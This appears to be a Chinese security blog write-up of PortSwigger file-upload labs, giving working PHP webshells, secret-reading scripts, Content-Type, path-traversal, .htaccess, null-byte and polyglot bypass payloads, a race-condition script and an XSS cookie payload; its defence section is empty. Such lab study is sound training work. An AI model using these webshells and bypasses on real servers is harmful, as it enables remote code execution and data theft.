标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3098] 作者: 羽毛 发表于: [2022-05-13]
本文共 [862] 位读者顶过
0x01 什么是文件上传漏洞
简单来说,文件上传漏洞,一张图就能明白了[出自:jiwo.org] 这里的文件上传如果没有严格规定必须上传jpg,png格式。或者换句话说,在某个web开发环境当中,上传点没有做严格的要求,那么别人可以任意上传文件,轻则数据泄露,重则Web Shell。 webshell <?php echo system($_GET['command']); ?> 0x02 何处存在文件上传漏洞说这个话似乎有些搞笑了,确实我也承认,有文件上传的地方就很可能存在文件上传漏洞。
但是真正的判定标准实际上是在抓包之后的。
最坏的当然是对类型没有过滤,前文也说了,造成Web Shell。 如果未正确验证文件名,则攻击者可能仅通过上传具有相同名称的文件来覆盖关键文件。 如果先前已经对服务器进行了目录遍历,那么攻击者还可以将文件投放到很多恶意的地方。 如果不能确保文件大小在预期的阈值内,还可能引发一种拒绝服务(DoS)攻击,攻击者会利用这种攻击填满可用磁盘空间。 0x03 开打!文件上传漏洞1. Lab: Remote code execution via web shell upload 基础的文件上传漏洞先看一个基础的文件上传案例
界面长这样↓↓
上传文件并抓包,这里我们上传恶意文件1.php <? php echo file_get_contents('/home/carlos/secret') ?> 查看抓包内容 我们在burpsuite中查看发送1.php之后的样子,发现成功获取到了该路径文件的内容。
2. Lab: Web shell upload via Content-Type restriction bypass 当服务器限制了上传类型时
很明显发包回显是错误,而且php脚本并未被执行,报错显示:你只能提交Content-Type=image/jpeg的东西,其他都不行,那么咱们就依它呗,那我修改一下发送php webshell的代码,将Content-Type修改为image/jpeg(前后顺序不可以倒过来),然后再上传php恶意webshell,嘿嘿,就成功啦!
3. Lab: Web shell upload via path traversal 当服务器设置脚本白名单时这类防御一般与**上面讲到的“2. 当服务器限制了上传类型时”**是同时使用的
那么这个白名单啊,其实也不难理解。什么是黑名单呐?黑名单就是不让你通过的用户、脚本、命令等等等,那么白名单想法,是让你通过的用户、命令、脚本balabala…… GET /static/exploit.php?command=id HTTP/1.1 Host: normal-website.com HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 39 <?php echo system($_GET['command']); ?> 很明显,这总得出点问题吧,你这自己写了webshell,别人不打你?天理难容啊,但是说实话,这一脚本也确实起了一些关键性的作用,我们来看配套的靶场:
<? php echo file_get_contents('/home/carlos/secret'); ?> 结果我们的这个代码(?)反而被服务器打印出来了,啊这,再思考思考。
那么结果之前的思路,换一个地方打它。这里要用到一些目录遍历的知识
最终的payload: filename="..%2fexploit.php" 终于解决啦!之前我本人在这道题目上卡了好久,是因为payload当中的全角/半角搞混了,然后一直出不来结果。大家要注意~ 4. Lab: Web shell upload via extension blacklist bypass 当黑名单对文件的封禁效果不是完美的时候
而对于这一漏洞的应用,一般都是服务器的黑名单只过滤了.php的文件,但并没有过滤.htaccess。这边简单介绍一下.htaccess的作用: 一般.htaccess可以用来留后门和针对黑名单绕过,创建一个txt写入 AddType application/x-httpd-php .png 打开另存为,保存类型为所有文件,可以让png解析为php,还可以把png改成其他图片格式--->例如jpeg、gif等等...
直接上传shell.php,这次被挡在门外了,怀疑是被黑名单ban了,尝试黑名单有没有ban.htaccess文件。 接着我们尝试上传.htacess类型的文件,在.htacess文件中事先编辑好payload AddType application/x-httpd-php .l33t 这里payload的意思就是,会将.l33t后缀的文件解析成php格式的文件,那么我们发送shell.l33t的时候,就自动转换成了shell.php成功绕过了黑名单!
上传,并修改Content-Type:Content-Typetext/plain之后再发包 5. Lab: Web shell upload via obfuscated file extension 对黑名单进行绕过----->混淆文件名说到混淆文件名的绕过,大家蛮熟悉的一种应该是SQL注入的双写绕过,以及对于waf的大小写绕过。对文件上传漏洞当中,也存在这种类似的绕过方法。 常用的几种绕过方式 1. 多个扩展名绕过:shell.php.php2. 尾部添加字符:shell.php.3. 使用url编码'.',例如:shell%2Ephp4. 使用分号绕过:shell.asp;.jpg或者shell.asp%00.jpg5. 使用多字节unicode字符6. 双写绕过,shell.p.phphp,在这个payload中,.php很有可能被过滤,那么在.php被过滤之后,剩下的就是shell.php,成功上传
日常先上传shell.php试探一手 回显"Sorry, only JPG & PNG files are allowed",我们先尝试着使用之前的绕过方法绕过一下。
这里尝试第一种绕过————多个扩展名绕过,filename=shell.php.jpg,再抓包看的时候发现,shell.php.jpg并没有得到想要的效果。 再尝试其他的绕过姿势,得到最后的payload: filename="shell.php%00.jpg"
成功上传,访问/files/avatars/<YOUR-IMAGE>即可 6. Lab: Remote code execution via polyglot web shell upload 存在缺陷的文件上传更安全的服务器不是隐式信任请求中指定的内容,而是尝试验证文件的内容是否与预期内容是否实际匹配,也就是检查Content-Type是否匹配。 对于图像上传功能,服务器可能会尝试验证图像的某些固有属性,例如其尺寸。例如,如果您尝试上传PHP脚本,则它根本不具有任何维度。因此,服务器可以推断出它不可能是图像,并相应地拒绝上传。 同样,某些文件类型可能始终在其页眉或页脚中包含特定的字节序列。这些可以像指纹或签名一样使用,以确定内容是否与预期类型匹配。例如,JPEG文件始终以FF D8 FF字节开头。用到最常用的工具为exiftool/exiftool: ExifTool meta information reader/writer (github.com) 这一道靶场:Lab: Remote code execution via polyglot web shell upload 还是老方法,先上传一下shell.php的文件,看回显如何
OK,回显:file is not a valid image 我们尝试着用上文所写的方法进行绕过,这里所用到的工具为exitool,使用命令,让其自动创建一个以jpg文件FF D8 FF开头,但扩展名为.php的文件。使用命令之前要先在仓库同目录下创建一个jpg文件,再执行命令 ./exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
这里的polyglot.php就是我们所需要的文件,上传即可
在众多乱码中找到我们需要的那一个即可~! 7. Lab: Web shell upload via race condition 通过争用条件上传webshell
在文件上传当中,当我们上传恶意的webshell的时候,有些服务器会采用沙箱的手段判断文件是否存在危害,若存在危害则删除,而从判断---->删除这中间,webshell就占用了"race condition",也就是利用这短短的几秒钟,我们进行攻击。
照常,我们先直接上传shell文件,失败之后,报错提示"Sorry, only JPG & PNG files are allowed"----->于是乎,我们将shell.php加上.jpg的扩展名,进行攻击。
再抓取包:GET /files/avatars/shell.php.jpg HTTP/1.1 之后,选中post请求并Send it Turbo
使用port提供的payload:将其中的替换成自己的 def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''<YOUR-POST-REQUEST>''' request2 = '''<YOUR-GET-REQUEST>''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60)def handleResponse(req, interesting): table.add(req)
再点击最下面的Attack,就可以获取到答案了~ 0x04 文件上传漏洞与其他漏洞的配合攻击4.1 文件上传漏洞与XSS的配合如果网站允许上传.html,.jsp文件时,就可以与xss相配合攻击,类似的payload有:alert(document。cookie) 4.2 文件上传漏洞与XXE注入配合在知道服务器解析基于XML的文件,如Microsoft Office或文件,这可能是XXE注入攻击的潜在媒介。 4.3使用 PUT 上传文件PUT /images/exploit.php HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-httpd-phpContent-Length: 49<?php echo file_get_contents('/path/to/file'); ?> 0x05 文件上传漏洞的防护
|